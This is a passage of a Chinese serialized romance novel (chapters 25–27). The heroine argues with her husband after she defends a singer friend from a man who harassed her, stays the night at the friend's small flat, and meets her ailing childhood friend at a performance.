萧烨从她身后拥上来,一边蹭着她的脖子,一边瞥了眼屏幕,“啧”了声:“思弦病还没好啊?” 感觉从上次在家门口见面,到现在已经过了有一阵了,郁思弦竟然还没养好。 不过想到郁思弦小时候那个缠绵病榻的身体情况,好像也不是很意外。 “那算了,就我们两走吧。”萧烨说是这么说,手指却已很不规矩地从她裙摆下探进去。 “萧烨!”陆照霜耳根有点红,瞪了他一眼,“不是你说的,再过十分钟就出发吗!” “十分钟我又做不了什么,就亲一下。”他说着,顺势在她颈后亲了两口。 陆照霜连忙捂住脖子,把他推开,“别这样,下次再说吧。” 想到郁思弦还在那边病着,他们却在这头做这种事,陆照霜就觉得有点不好。 “好好好,下次就下次。”萧烨果断收手,拉着她坐起身。 他这一阵格外听话,从不特意闹她,像是打算把前两年给她养出的心理阴影全数根除似的。 她的生活好像真的好起来了。 但正因为她的生活好起来了,所以,她希望她的朋友也能好过点。 陆照霜不是没有去探望过郁思弦,但每次都不凑巧,找不到他的人。 她真的很难安心。 想了想郁思弦身边的其他朋友,林珩和牧衡,她毫不犹豫地拨了牧衡的电话过去。 “喂,陆小姐?怎么今天有空找我?”电话那头传来牧衡懒洋洋的声音。 陆照霜手指下意识绞住了沙发,一圈又一圈,“牧先生,思弦好像生病了,但我一直没见到他。你最近有见过他吗,不知道他现在到底怎么样了?说真的,他一直都不太注重自己的身体。” “喔,”牧衡瞥了眼躺在病床上,正在吊水的郁思弦,慢悠悠道:“可不是,我看他离把自己折腾死,也不远了。” 【作者有话说】 v后日更宝子们[三花猫头] ps,离婚在加载中了,现在这个情况,可以称之为回光返照 25/ 第25章 ◎我以为你会和郁思弦在一起◎ “什么,思弦怎么了?”电话里传来陆照霜惊慌的声音。 郁思弦从病床上稍稍坐起身,拧起眉给牧衡飞去一个警告的眼神。 牧衡这才对着电话笑道:“没什么,跟你开个玩笑,都成年人了,他身体健康着呢,马上就好了。” “真的?”陆照霜狐疑地问,抓着牧衡又问了许多。 牧衡一通瞎话将她糊弄过去,等挂断以后,脸上就没有那么放松了。 他坐到郁思弦床边的椅子上,掰着指头一个个数起来,“神经衰弱、失眠、低血糖、慢性胃炎……郁思弦,你这是攒了一身慢性病啊,难怪一个流感就能把你送进医院。” “你说你又不差钱,怎么能把自己搞成这样的,干脆你去看看心理医生吧?” 郁思弦不回答,只淡淡扫他一眼,“多谢你的探望,酒吧的事多,你可以回去忙了。” “真是好心当作驴肝肺,郁思弦,你是不是对关心过敏啊?” 牧衡笑骂了一句,“不想让我探病,怎么还躲着你那个小青梅?那不是你心上人吗?在她面前卖卖惨多好,你不懂,她那种性格的人就吃这一套。” 郁思弦转头看着窗外,“我现在的状态不适合见她,等过几天,我会处理好自己的情绪的。” 牧衡这几天也差不多了解了一点事情始末了,他盯着郁思弦挂着针头的青色手掌,纳闷极了。 “我记得你之前不是也对林珩瞎吃过飞醋?那时候也没见你有多受打击啊。怎么,不就是陆小姐跟她老公和好了,你至于悲观到把自己整成这个样子?” 郁思弦闭上眼睛。 半晌,就在牧衡以为他不会回答的时候,他说:“萧烨和别人不一样。” 很简单的一句话,却透着一种深可见骨的绝望。 像是他已经见证了太多遍,以至于成为了烙在他心里的某种印记,先天就透着股悲观气息。 “所以呢,陆小姐等了这么久,终于等到她老公回头和她好好过日子了,皆大欢喜呀,放电视剧里怎么说也是个大团圆结局,而你……” 牧衡支着下巴,盯着郁思弦留给他的半张脸,坏心眼地说:“你这个破坏别人婚姻的反派角色,是不是也该到放手的时候了?” 躺在病床上的那个苍白冷硬的男人,明明刚才还透着一股绝望的悲观,可听到别人劝他放手的话语,胸口却剧烈地起伏了一下,唇线紧紧抿起,好半晌,才终于松开。 “我做不到。”郁思弦低沉、平静又无可救药地说。 * 策划这次同学聚会的,是他们高中时的班长。 地点选在一个比较平价的酒店,附近还开着不少民宿和小旅馆,环境不是很好,有点鱼龙混杂。 萧烨在附近开了两圈,才找到了停车的地方,中间还被小孩子骑电动车剐蹭了一下,他很明显地皱起了眉。 知道他这是有些嫌弃了,陆照霜忙顺了顺毛,“班长忙前忙后一个人操持这么多,还要顾及每个人的经济情况,够不容易的了,我们别给他添乱了。” 萧烨哼笑了一声,“阿霜你倒很会为别人贴心。” 但他也没再说什么,就下了车。 台阶底下积着一滩昨晚下的雨水,萧烨把手伸过去让陆照霜握住,然后拽了她一把,托着她跳到了台阶上。 在这样的闹市里,手牵着手做这样的事,有种变回了中学生的感觉。 两个人此刻挨得很近,都能看到对方眼睛里自己怔愣的模样,于是双双笑出声来。 忽然,一道影子从陆照霜余光里闪过,她笑意顿住,探头往萧烨身后张望,视野中却只剩下来来往往的人群。 萧烨有些莫名,循着她的视线望去,“怎么了?” “我好像看到了一个熟人。” “你怎么可能认识这种地方的人?可能是哪个来参加聚会的同学吧。”萧烨心不在焉地说。 陆照霜觉得他这话怪极了,然而还不等她反驳,就忽然听到身后一个女声。 “陆照霜?萧烨?” 陆照霜回头一看,一个有点眼熟的女人正朝她挥手。 “安……晓岚?”她不太确定地叫道。 “是我是我!”安晓岚高兴地走过来,“没想到你还记着我呢。” 陆照霜微微笑了笑,掩饰着自己差点没记清名字的尴尬,“我记得,你不是一直做我们的物理学习委员吗?” 安晓岚唏嘘,“别说了,我跟物理真是结了仇了,当年天天被物理老师骂,现在我成一中的物理老师了,今年当高三的班主任,可愁死我了。” “回母校任教挺好啊,怎么样,碰到张老师了吗?” “我去,那可太容易碰到了,我……” 两人叽叽喳喳絮叨着高中往事。 萧烨安静地走在陆照霜另一边,靠马路的那个位置,偶尔有人经过,就伸手帮陆照霜挡一挡,看上去就像一个再正常不过的、守护着妻子的丈夫。 陆照霜很别扭地转头看了他一眼。 萧烨理直气壮地朝她笑笑,那意思再明显不过——有什么不对吗? 他们可是夫妻啊,当然没什么不对。 可陆照霜就是很不习惯,他最近的这些改变。 也许只是因为太突然,习惯了就好了,她心想。 三人进了预定好的包房。 一进门,萧烨立刻被围住,“萧哥、萧哥”的叫,他一向在同龄男生里很玩得开,人缘很好,何况今天还有个人来疯的杜宇宁。 “怎么就你们两来了,郁思弦呢?”杜宇宁往他们身后张望,“当时答应了有空就跟我们多聚聚,结果还是一次都不肯来。” “思弦最近生病了,你没事干别骚扰他。”萧烨警告了杜宇宁一句。 “得嘞,”杜宇宁做了个鬼脸,也就把这茬揭过不提,转而对陆照霜笑笑,“陆大小姐,那我就先把萧哥带走了,你不介意吧?” 陆照霜摆摆手,“随便。” 萧烨站在杜宇宁身边,挑挑眉,好像为自己就这么被打发走了感到委屈。 但陆照霜清楚,这表情表演成分居多。 许是他还残留着过去的习惯,只要待在人群中间,就会故意去表现他们的亲昵。 果不其然,他被拉过去没一会儿,就跟那群男同学们自在地玩到了一起,人群里时不时爆出一阵笑声,也未见得真有多舍不得她。 陆照霜则坐在宴席一角,朝那边看了几眼,就收回了视线。 她不至于对萧烨和朋友玩得好这件事,吃醋或是不满,她只是不喜欢他明明如此,却还要在此前故意表演。 她有些心烦地喝下了一大口茶,把这些想法压了下去。 慢慢来就好,他们还只是在学着做一对正常的夫妻,遇到问题再正常不过。两年都熬过来了,到现在这步,更没什么好急的了。 “照霜,”安晓岚端着茶杯坐到了她身边,“怎么不去跟大家一起玩?” 陆照霜笑笑,扯了个善意的谎,“我不太擅长玩游戏,坐坐就好。” 高中同学也是分很多个小圈子的。 陆照霜和萧烨正好相反,她的每一段学生时代,都没有玩得太好的同学,像安晓岚这样时隔数年还能聊起共同回忆的,已属罕见。 “没想到你最后会和萧烨结婚,”安晓岚捧着茶杯,看了眼她手上的婚戒,心情复杂地说:“说真的,我还以为你会和郁思弦走到一起呢。” “咳咳——”陆照霜一口茶水呛到气管,咳得眼泪都出来了。 等好不容易缓过来了,她还惊魂未定,“我和思弦?这怎么可能呢,我们就是朋友啊。” “唉,就是,”安晓岚无意识抠着水杯,“当时上学的时候,感觉比起萧烨,你和郁思弦更像一点。不过看你和萧烨现在感情也挺好的,可能这就是性*格互补吧。” 陆照霜也没在意,反正萧烨和郁思弦都没听见,这话笑了笑也就过去了。 但安晓岚却好像还沉浸在回忆里,过了一会儿,又道:“主要是,高三的时候,我有天晚上下了晚自习以后,去问老师问题,所以走得晚了,看见就你和郁思弦两个人,大半夜还在学校的小树林里,就……还以为,你们两谈恋爱呢。” 陆照霜茫然地眨了下眼。 晚自习、小树林、她和郁思弦两个人? 她花了好一阵,才从记忆里扒出来这件事,而后哭笑不得,“不是,不是我们两个人。” “啊?” “那天晚上,我们在学校里偷偷埋时光胶囊,因为只找到了一把铲子,所以就萧烨一个人在挖,我和思弦给他望风呢,萧烨大概是被树挡住了,你没看见吧。” “原来……是这样啊。”安晓岚轻声道,语气里有种微妙的遗憾。 陆照霜敏锐地从她的声音里,察觉到了什么,愣了一下,也沉默了下去。 她自己的感情状况都处理得乱七八糟,更遑论插手别人的感情了。 过了一会儿,安晓岚好像从那种情绪中缓了过来,坦然问:“郁思弦现在怎么样了?” “还是老样子,他一直都没怎么变,不关心自己的身体,最近又生病了。”陆照霜有点苦恼地说。 安晓岚看着陆照霜下意识蹙起的眉,无声地笑了下。 她想,就算她没有误会那个夜晚,也不会有什么区别,因为她一直偷偷注视着郁思弦。 而正因为她注视着,才会明白,郁思弦的目光一直落在谁的身上。 她忽然生出一种没来由的唏嘘。 她喜欢过的人,原来最后,也没能和他喜欢的人在一起。 安晓岚在心里叹了口气,换了个话题,“那你们的时光胶囊挖出来了吗?” 陆照霜笑道:“十年才到启封的时候,还差着两年呢。” “那好,”安晓岚干脆道:“反正我就在学校,我帮你盯着,不会让学生不小心把你们的时光胶囊挖走的。” 陆照霜高中时和安晓岚只是普通同学,因为都不太活跃,和其他人玩不到一起,所以彼此间交集就多了些。 但现在,她看着安晓岚坦荡释然的眼睛,突然觉得,自己其实真的挺喜欢她。 “好,谢谢。”陆照霜拿起杯子,和安晓岚碰了下杯。 从酒店出来,因为后半程和安晓岚聊得挺开心,所以陆照霜眉眼间还带着笑。 萧烨垂眸看着她,心中微微一动。 那种笑容和她平时拉琴、或者面对他时的笑容都不太一样,有种格外柔和的感觉。 “原来你不讨厌这种热闹的场合,那以后我们可以出来多聚聚。” “啊?”陆照霜不知道他从哪里得出的这个荒谬结论,错愕地抬起头。 还不等她反驳,不远处的争吵声就把他们两的注意力全引了过去。 “差不多得了!你们的前台嘴一张就是我骚扰她,我没叫警察把她抓起来就够给你们面子了,你们还想让我退房?你们懂不懂什么叫顾客是上帝!你们对上帝就这个态度,信不信我去举报你们!” 一个中年男人穿着颜色泛黄的白色老头衫,正叉着腰站在一家民宿前,唾沫星子飞溅,破口大骂。 另一个三十岁左右的男人微微佝偻着背,汗流浃背地试图笑着安抚,像是这间民宿的老板,“您消消气,是这样,您在我们这里长租两个月,现在还差十天就到期,我给您退半个月的房租当做补偿,您看行吗?” 老头衫眼珠子一转,明显意动,却还在耍赖:“凭什么?钱我交了,合同我签了,凭什么要我搬走,我要这女的跟我道歉!” 店主咬了咬牙,也道:“小徐,你就道个歉吧。” 周围视线便齐刷刷转向了一直被挡在后面的女人。 她的长卷发扎成一个高马尾,垂落在她干净泛白的T恤上,素着一张脸,平日里总是布满颓丧的脸上,今日却狠狠瞪着一双眼,燃烧着浇不灭的怒火。 “想让我道歉?梦里找去吧!” 陆照霜心中猛地一颤。 那是徐勿凡。 萧烨倚着车门,烦闷地揉了把太阳穴,“这种地方就是乱,算了,报个警吧。” 话音刚落,他就睁大了双眼。 因为他那个优雅温和,虽然偶尔有点小脾气,但其实相当好说话,别人不主动招惹就从不挑起是非的妻子。 毫不犹豫地奔向那个混乱中心,然后在老头衫的手臂抡向那女人时,死死地拉住了他的手臂。 她的声线明明都已经不稳,却还是急促地拉高了嗓音:“你敢打人,我就要报警了!” 众人的目光都落在这个突如其来的闯入者身上。 徐勿凡也不例外,只是在看到陆照霜的那一瞬间,她双眼蓦然睁大,被烫到了一样,下意识往后退了一步,刚才身上凌厉的气势突然散去一半,像是无地自容到想把自己藏起来。 陆照霜喘了口气,镇定了下来,走到徐勿凡身前,压低声音问:“他怎么欺负你了?猥亵,偷拍?” 徐勿凡垂着头,抿着唇好一会儿,才道:“他想摸我,被我打了一巴掌,没得逞,有没有偷拍我不清楚。” 陆照霜心中有数,上前一步,将徐勿凡挡在身后,无视其他所有视线,朝店主抬起下巴,“我不能让我朋友白白受委屈,我要查监控。” 她身上的穿着不同寻常,又拿出了在乐团做首席的架子,格外骄矜逼人,店主被唬住,一时片刻没敢作声。 老头衫立刻恼了,上前一步,又抡起了他的手,“你谁啊你?闲得蛋疼多管闲事,信不信我连你一起收拾?” “是嘛?”陆照霜噗嗤一声笑了,抓了把头发撩到耳后,长睫下的目光锐利逼人,不退不让地迎上他的视线。 然后一字一句道:“那可太好了,故意伤害构成刑事犯罪,三年起步,我们新账旧账一块算,不怕你坐不穿这个牢。” 老头衫不过是个纸老虎,根本不懂法律意义上轻伤的界定范围,手臂颤动了一下,声音哆哆嗦嗦,却还虚张声势:“小丫头片子吓唬谁呢,当我吃干饭的?” “已经报警了,你最好给我看好你的狗爪。”一个凛冽的男声忽然从后传来。 下一刻,身形高大的男人抓住老头衫的肩膀,强势地把他按在原地。 萧烨抬头望向陆照霜,一脸不赞同的神色,“太冲动了,阿霜。” “反正也出不了事,”陆照霜不太在乎地回了句,就紧张地回头去看徐勿凡,“你没被吓到吧?” 徐勿凡感觉到,随着这句话,那个男人的视线落在了她头顶,轻蔑、不善,像看什么落在地上的垃圾,几乎要把她穿透。 她死死攥住了自己的小臂,摇了摇头,“没事。” 老头衫看情形不对,想跑,却被萧烨牢牢按着,动弹不得。 “在这里等警察过来,听得懂吗?”萧烨压抑着烦躁的怒气,皮笑肉不笑地道。 警察赶来后,经过查证,果然在监控中发现了老头衫猥亵女员工的证据,将他带走立案。 民宿里其他住客都觉得非常不安,闹着要求店主退房,其他的女员工也站了出来,抗议店主的不作为。 看热闹的人围了两三圈,吵成一团。 眼见着天都暗了,萧烨手指上车钥匙转来转去,努力按捺着性子,温声道:“阿霜,既然见义勇为也结束了,我们回家吧?” 陆照霜频频往店内的徐勿凡张望,“发生这种事,她虽然没表现出来,但心里恐怕也不太好受,我想待会再陪陪她。” 萧烨终于忍耐不出,淡哂一声:“我都不知道,什么时候连这种人也能做你的朋友了?” 陆照霜顿了顿,抬起头,看着萧烨。 今天从他们抵达这里开始。 他就说,这种地方、这种人。 她冷静地问:“哪种人?” 萧烨没回答,只是看着她,很轻地笑了一下。 陆照霜懂了。 正因为懂了,她感到额角开始突突地跳动,“萧烨……你不能把我的朋友,叫做‘那种人’,我也不喜欢杜宇宁,但我从没当着你、当着他的面,说过他的坏话。” 萧烨漫不经心地拉住她的手,像是听到了什么笑话,“那怎么能一样?” 有什么不一样? 甚至,徐勿凡的歌声可以让那么多人心潮澎湃,远比杜宇宁对这个世界的贡献大得多。 但这句话,她没有说,因为她已经明白,当她说出口的那一刻,她会在萧烨的眼睛里,看到多么轻蔑的笑意。 陆照霜怔怔地抬头,灯红酒绿的背影虚化在萧烨的身后。 他明明在笑,她从前很喜欢看他笑的,可为什么,现在她却觉得他笑得很陌生呢? 她缓慢地、坚定地,把自己的手从萧烨手中抽了回来,“你回去吧,我要在这里陪她。” 萧烨唇边的笑意就慢慢地冷了下去。 他往远处那个闹市一样杂乱无序的地方撇了一眼,又慢慢挪回来,落在陆照霜的脸上。 “阿霜,我们刚说好,要好好相处。” “嗯。” “而现在,你要为了那种人,来跟我闹别扭。” “你把这称之为‘闹别扭’……”陆照霜自言自语了一句,几乎是在苦笑,但抬头看他的时候,眼神却没有丝毫动摇。 “好吧,只要你还把她叫‘那种人’,我就没办法不跟你‘闹别扭’。” 萧烨眼里的神色彻底冷了下去,“阿霜,这就是你自找的了。” “对,我自找的。”她一字字道。 萧烨看着她,慢慢笑了,不知道是在笑她,还是在笑他自己,“也是我自找的。” 说完,他转过身,朝着停在街对面的车径自走去。 陆照霜深吸一口气,转头挤进人群里,抓住了徐勿凡的手。 他们背道而驰,谁都没有回头。 【作者有话说】 宝子们,明天上夹子,看情况更新可能会晚一点,在晚上23:30左右。[垂耳兔头]感谢大家的支持。 再ps,回光返照就是这么短暂。 26/ 第26章 ◎你在等郁思弦啊◎ “那个人走了?”徐勿凡往陆照霜空空如也的身后张望了一眼,“你老公?” “嗯,”陆照霜不太想聊这件事,“你现在怎么样?” 徐勿凡避而不答,“你该跟他一起走的,今天的事多谢你,不过就算你不来,我也能自己处理。” 她垂着头,被汗水濡湿的刘海挡住了她的眼睛,只留给陆照霜一个倔强的后脑、和绷紧的肩颈线条。 不是徐勿凡平时一贯的冷淡颓废,而像是什么受伤的动物,正狼狈地试图躲进巢穴,去舔舐自己还在流血的伤口。 陆照霜想,徐勿凡并不需要任何人的怜悯。 陆照霜原本伸出去的手也就收了回去,“不是因为你,是我跟他吵了架,我们经常吵架的。” 徐勿凡狐疑地抬头看了她一眼,不太相信的样子,但到底没有那么抵触了。 陆照霜又问:“你现在打算怎么办?” 徐勿凡咬了咬牙,目光狠狠落在远处,“当然是去把我的工资要回来。” 正在这时,店老板也找了过来,他拗不过顾客们的投诉,赔了一大笔钱,被员工们吵得焦头烂额,还坏了民宿的口碑,憋了一肚子气。 对着徐勿凡劈头盖脸就是一通骂:“你是不是不想干了徐勿凡?你看你给我捅了多大的篓子?我告诉你!你再给我打个十年工都赔不起!” 徐勿凡笑了,一句话也没说,伸手抄起前台上的水壶朝老板兜头倒了下去。 冰镇过的水,冰凉刺骨。 老板一个激灵,像只狗一样在地上抖着肩膀跺两下脚,然后抹开眼前的水渍,阴狠地瞪过去,“徐勿凡你是不是有病?” 徐勿凡抱着胳膊冷笑:“今天的事前后有多少个人跟你投诉过,你理过吗?作成这样还不是你自找的?你不把人当人看,就别怪别人把你当狗看!” “你给我滚!徐勿凡你一天到晚清高个什么呢?你一个高中毕业证都没有的小太妹,除了张脸还有什么?除了我这儿还有谁要你?别太把自己当回事了徐勿凡!” 徐勿凡眼睑微垂,直接一巴掌甩在了他脸上,“你就算是求着我干,我还不干了呢!” 店主懵了下,过了好一会儿,他才伸手摸上自己的左脸,不敢置信地瞪大了眼,“你踏马敢打我?!!” 说完,也不给人任何反应的机会,抬手就朝徐勿凡扇过去。 “小心!”陆照霜慌忙伸手,试图拉住那个人的手,结果力气差得太大,反而被狠狠甩开,一头撞在了前台上。 她撞得头晕眼花,连疼痛都还没来及传导到大脑神经,就看到旁边的人七手八脚把她围起来。 “天哪!你没事吧?” “卧槽!出血了!” “要不要去医院看看?” 在这一片嘈杂声中,徐勿凡的目光死死落在陆照霜额角的那个伤口上,然后,眼睛一点点变得猩红。 “我草你大爷!”她忽然大骂一句,踹开旁边的凳子,冲上去抓住店主的头发和他扭打在了一起。 陆照霜看得呆住了,那场面,只能用叹为观止来形容。 她喉咙滚动了一下,深刻地意识到,她刚才试图去保护徐勿凡,是多么不自量力拖后腿的行为。 …… 这场乱战结束后,已经到了晚上十点,陆照霜伤了额头,徐勿凡虽然没出血,但从脸到胳膊都有淤青。 “你现在打算怎么办?”徐勿凡瞥着她问。 “你呢?” “先回家吧。” 陆照霜犹豫了一下,她这时候如果提出带徐勿凡去她家,恐怕只会遭到徐勿凡的强烈抵触。 因此,她退而求其次,“我送你回去吧,那个店主说不定会跟着你呢,这几天还是小心点好。” 徐勿凡嗤笑一声:“他哪来的这个胆子?” 她从来不把这种事当回事,这种小伤回去睡几天就好。 但陆照霜一副不肯罢休的架势。 徐勿凡从陆照霜额角的伤口扫过一眼,别开视线,“这附近有社区医院,先去处理一下伤口。” 陆照霜眼前一亮:“你能这么想就最好了,别拿小伤不当回事。” 她原本还在发愁,该怎么劝徐勿凡去医院呢,没想到徐勿凡这么重视身体健康。 看着一脸高兴的陆照霜,徐勿凡:“……” 两人从医院出来,陆照霜还是坚持要送她回家。 徐勿凡唇角紧紧抿起,“我提前跟你说好,我家很乱很小,不是你这种人看得惯的地方,你最好别有什么不该有的期待。” 陆照霜点点头,“我知道了。” 徐勿凡租的房子在申城的老城区,那一片全是自建房,楼层不高,但杂乱拥挤,敞开的垃圾桶和泥泞的下水道里散发着浓烈的恶臭,时不时还会有一处坏掉的路灯。 徐勿凡走在前面,陆照霜跟在她后面,她垂着眼,一次也没有回头去看陆照霜的表情。 “啊!”身后忽然传来一声惊呼。 徐勿凡迅速转头,就看到陆照霜上半身前倾,一只手撑在膝盖上,显然是差点摔倒。 她脚底下是一块被晒裂了的路面。 “抱歉,”陆照霜不好意思地笑了笑,“我没看清路。” 说着,她拿出手机,打开手电筒,又朝她笑了笑,“现在没事了。” 徐勿凡看了她好一会儿,才转过头继续带路,只是唇线抿得更紧了。 房子租在顶楼,她们爬了整整七层,抵达以后,徐勿凡把钥匙插进去转了好几次,才把门打开。 这间房子很小,大概只有二十平米,巴掌大的厨房和卫生间一起可怜兮兮地挤在最后面,屋里除了一张床,几乎也就够放张狭窄的小桌子。 但陆照霜第一眼看到的,却是被塑料薄膜精心护住、用衣架悬挂在墙上的红色连衣裙。 是每次在搁浅演出时,徐勿凡都会穿的那条裙子。 它被熨烫得整整齐齐,没有一丁点污渍,挂在正对门、最显眼的那个位置,宛如十字架上的耶稣。 “花了我两个月攒下来的钱,”徐勿凡注意到她的眼神,漫不经心地说了句,然后就越过她走了进去,一屁股坐在了床上,“也没拖鞋给你换,随便坐吧。” 陆照霜关上门,在她对面的椅子上坐了下来,膝盖几乎要碰到徐勿凡的膝盖。 她很少待在这么拥挤的空间,和人离得这么近,有些局促地视线乱瞟,“裙子很漂亮。” 徐勿凡双手撑在身后,抬起下巴看她,“你不问我为什么要不自量力买这么贵的裙子?” 陆照霜好奇,但理智觉得这很不礼貌。 然而徐勿凡的眼睛里却透着股诱哄,似乎很想她问这个问题,陆照霜便从善如流道:“为什么?” “有天下班的时候,在路边的橱柜里看到了它。那家店给它打了那种又白又亮的光,显得特别昂贵、特别漂亮、不是我这种人能碰的东西。” “我站在外面看着它,感觉自己像个又蠢又傻的小丑。” 徐勿凡看着那条裙子,声音平静,眼神却深寂。 “所以我买了它。我有希望有一天,别人看着我的时候,也能有这种感觉。” 愤怒和野心,徐勿凡身上最吸引人的地方。 现在,陆照霜知道这种强烈的情绪是从哪里来的了。 陆照霜怔怔地看着她,看着她嘴角扬起毫不掩饰的恶意笑容。 “怎么样?”徐勿凡托着下巴,微笑看着她,“我就是这么自私自利又恶毒的人,是不是后悔今天帮我了,大小姐?” 她的语气甚至带着一种恶意的讥嘲,让陆照霜轻易就想起,她第一次见到徐勿凡时,徐勿凡看着她的眼神。 但很奇怪,也是从第一次见到徐勿凡起,她从来都没有讨厌过徐勿凡。 她看着徐勿凡好像很希望能从她这里听到“讨厌”和“后悔”的表情,想了想,点了下头,“嗯,之前,我确实谈不上喜欢你这个人,毕竟我们也不熟。” 徐勿凡肩头松下来,好像这才让她觉得舒服,露出了果然如此的表情。 “但是,”陆照霜刻意顿了顿,看到徐勿凡如临大敌的模样,才终于慢吞吞地说:“我喜欢你唱歌的样子,我第一次去看你们演出的时候,就被你迷住了。” 徐勿凡呆住,像是见了鬼一样瞪圆了眼睛,她脑袋僵硬地挪动了一下,嘴角颤动着张开,又狠狠闭上,然后狼狈地别开眼。 在被徐勿凡恶趣味地旁观了这么多次以后,陆照霜也终于可以欣赏一下徐勿凡无措的模样了。 她又故意道:“今天有点晚了,可以在你家暂住一晚吗?” “随你便!” 陆照霜笑着接过徐勿凡给她的一次性牙刷,就心情愉悦地进洗手间洗漱去了。 徐勿凡看着她挤在狭窄洗手间里的背影,想起了第一次见到陆照霜的场景。 穿着那种看着普通其实面料特别贵重的衣服,和大家打着招呼,其实把谁都没放进眼里。 和郁思弦一样,是那种矜贵的、不知民间疾苦的、养尊处优的、心想事成的少爷小姐。 直到今天见到陆照霜的丈夫,她才知道,原来真正的蔑视,是那个样子的。 而那个大小姐,在跟她来的路上,也真的从头到尾没抱怨过一句话。 她低声喃喃:“你怎么会是这样的人?” “什么?”陆照霜没听清,咬着牙刷含糊地看过来。 “没什么。”徐勿凡重新低头,从柜子里翻找干净的床单被套,夏天天热,又是顶楼,盖这个也不会觉得冷。 她们躺在一米五的床上,两个人都生得瘦,所以也并不拥挤。 在沉默很久,陆照霜都快要睡着的时候,徐勿凡的声音突然从旁边传来。 “我不是没念过高中。要高考的时候,我爸妈欠钱的那些人上门讨债,他们一直带着我搬家,我没办法参加高考,后来就更没有机会了。” 陆照霜心中一酸。 在这一整天里,这是她听过的,徐勿凡最平静的一句话。 陆照霜翻了个身,和徐勿凡面对面。 徐勿凡没有哭,但她还是伸出手,轻轻在徐勿凡肩膀上拍了拍。 “徐勿凡,总有一天,你会被所有人看到,再也没有人可以无视你。” 徐勿凡撇了下嘴,“你也跟林珩一样喜欢画饼吗?” 陆照霜笑了,“那说明他跟我一样有眼光,都相信你能做到。” * 逃出人间的演出日,距离上台还早。 陆照霜坐在搁浅的吧台边,心神不宁地频频看着手机,几次打开微信聊天框,又退了出去。 “陆小姐,等思弦啊?”牧衡带笑的声音从前方传来。 陆照霜抬头,不知道他什么时候来的,正一脸揶揄地看着她。 男人心真是海底针,搞不懂他在揶揄什么,但陆照霜也没心思去猜,直接问:“思弦好点了吗?” 虽然很不甘愿承认,但牧衡确实比她这个二十年的老朋友更了解郁思弦现在的情况。 昨天郁思弦微信上说,今天会来看她的演出,但也不知道身体到底怎么样了,她害怕自己开口问,郁思弦会逞强过来看。 牧衡嘴角的笑容咧得更大了,“哦豁,果然是在等思弦啊?” 陆照霜放下手机,静静地看了他一眼。 眼见着她有点生气了,牧衡没再逗她,笑着往她身后努了努下巴,“思弦啊,他不就在那儿吗?” 陆照霜猛地回头。 搁浅的门被推开了。 男人怀里捧着一束小雏菊,身上穿着黑色的工装外套,风从外面吹进来时,T恤微微鼓起,显得底下有些空空荡荡。 他银框眼镜下戴着口罩,整张脸露出来的地方不多,却仍旧能看得出不太健康的苍白。 陆照霜立刻站起身。 一段时间不见,他怎么就瘦这么多了。 【作者有话说】 宝子们,明天开始21:00日更 27/ 第27章 ◎把她重新养得生龙活虎了◎ “阿照。”郁思弦从人群里挤了过来,那束小雏菊被他护在怀里,没有被挤到。 但在距离陆照霜一步之遥的位置,他却愣住,眼里的笑意顷刻消失,目光死死停在她额头的创可贴上,片刻后,才低头看陆照霜的眼睛,“阿照,这次又是谁干的?” 他银框眼镜背后的红血丝还没有消退,嗓音还带着些微沙哑,却完全掩饰不住那股慑人的寒意。 让陆照霜立刻想起,上次她被父亲砸伤以后,郁思弦那个陌生的样子。 她无端生出种感觉,这件事一定不能被郁思弦知道。 否则,无论是中途离开的萧烨,还是争端中心的徐勿凡,都一定会被他厌恶的。 “啊这个,”陆照霜摸了摸额头上的创可贴,一脸苦恼的样子,“练琴练得迷糊了,抬头的时候不小心撞上了柜子,还好也就磕碰了一小下,没什么大事。” 她不清楚自己演技怎么样,但郁思弦的目光仍旧很冷。 陆照霜受不了这种被当犯罪嫌疑人审视的感觉了,干脆上前一步,用手肘捅了他一下。 “据我所知,受了伤但是不哭不闹,还正常工作,这怎么也算种忍耐的美德——好吧,虽然我这伤确实小,说是受伤都有点夸张了——但无论如何,思弦,这种时候,难道你不该夸夸我?” 郁思弦看着她这个凶巴巴的模样,怔了一下。 一个多月前,她的首次首席演出结束后,她曾在后台威胁他,如果他再一声不吭就疏远她,他们就再也不要和好了。 那时阿照也是这样凶巴巴的样子。 但郁思弦看得出来,那天她只是虚张声势,其实很没有安全感。 和现在眯着眼睛要求他夸奖的样子,是完全不一样的。 郁思弦心中微微一动。 好像一只不小心走丢了的小猫,因为在外面四处碰壁,所以竖起了很强的心防,可被重新捡回来好好养了一段时间,就又开始生龙活虎,露出一点本来的面目了。 他眼中也就渐渐染上一层笑意,看到那个伤口确实没什么大碍,便也不再强求一个答案,“好,阿照,你今天真厉害。” 像哄小孩似的。 开个玩笑而已,他还真夸啊? 陆照霜耳尖窘得有点烫,白了他一眼。 郁思弦笑了,“待会演出顺利。” 那束小雏菊被递了过来,明明从那么挤的地方穿过来,花瓣却仍旧是娇艳舒展的,被他护得很好,比他对他自己的身体要好。 陆照霜把小雏菊捧在怀里,突然很不是滋味,“既然病还没好,那干嘛非要来啊,以后演出多的是,又不差这一次。” “我们以前好像聊过这个问题。” 黑色口罩把郁思弦的表情掩去大半,但挡不住他眼睛里促狭的笑意,“阿照,信守承诺是种美德,你难道不是该夸夸我?” 他在用她的话术来逗她! 但他流感还没好,闷闷的鼻音把他的声音变得温吞了,简直,让人有种这是在撒娇的错觉。 天哪这可是郁思弦。 陆照霜赶忙打消了这种想法,胡乱别开眼,“带着病到处乱跑才不是美德!” 郁思弦故意叹了口气,“也对,就算我戴了口罩,也可能会把病毒传染给别人。” “我不是那个意思!况且一个流感而已,乐团里得流感的人也多了去了……”陆照霜感觉自己被绕了进去,看着他含笑的表情,干脆闭上了嘴。 过了一会儿,她垂着眼,闷闷地问:“生病了为什么躲着我,连牧衡都比我清楚你的情况。” 哦豁,一直看热闹的牧衡挑起眉。 这话可够酸的,都让他有种自己当了什么狐狸精的感觉了。 郁思弦温和地看着她,“没有躲着你,但你现在身兼两份演出,本来就很累了,生了病就不好了。” 他的声音一如往常,是那种很让人信服的语调。 但陆照霜就是觉得很不对劲,心里还是很沉闷,也不看他,别扭地说:“好吧,那我先回后台了。” “我今天就不过去了,演出加油。”郁思弦跟她摆了摆手。 “那你好好休息,多喝热水,别喝什么酒。”陆照霜前一句是对着郁思弦叮嘱的,后一句则是看着牧衡警告的,然后转身走进后台。 牧衡摊开手,朝郁思弦无奈笑笑。 而郁思弦刚才还萦绕在眉梢的笑意,也很快淡了下去。 他皱起眉,手掌撑在吧台上,低下头猛地咳嗽起来。 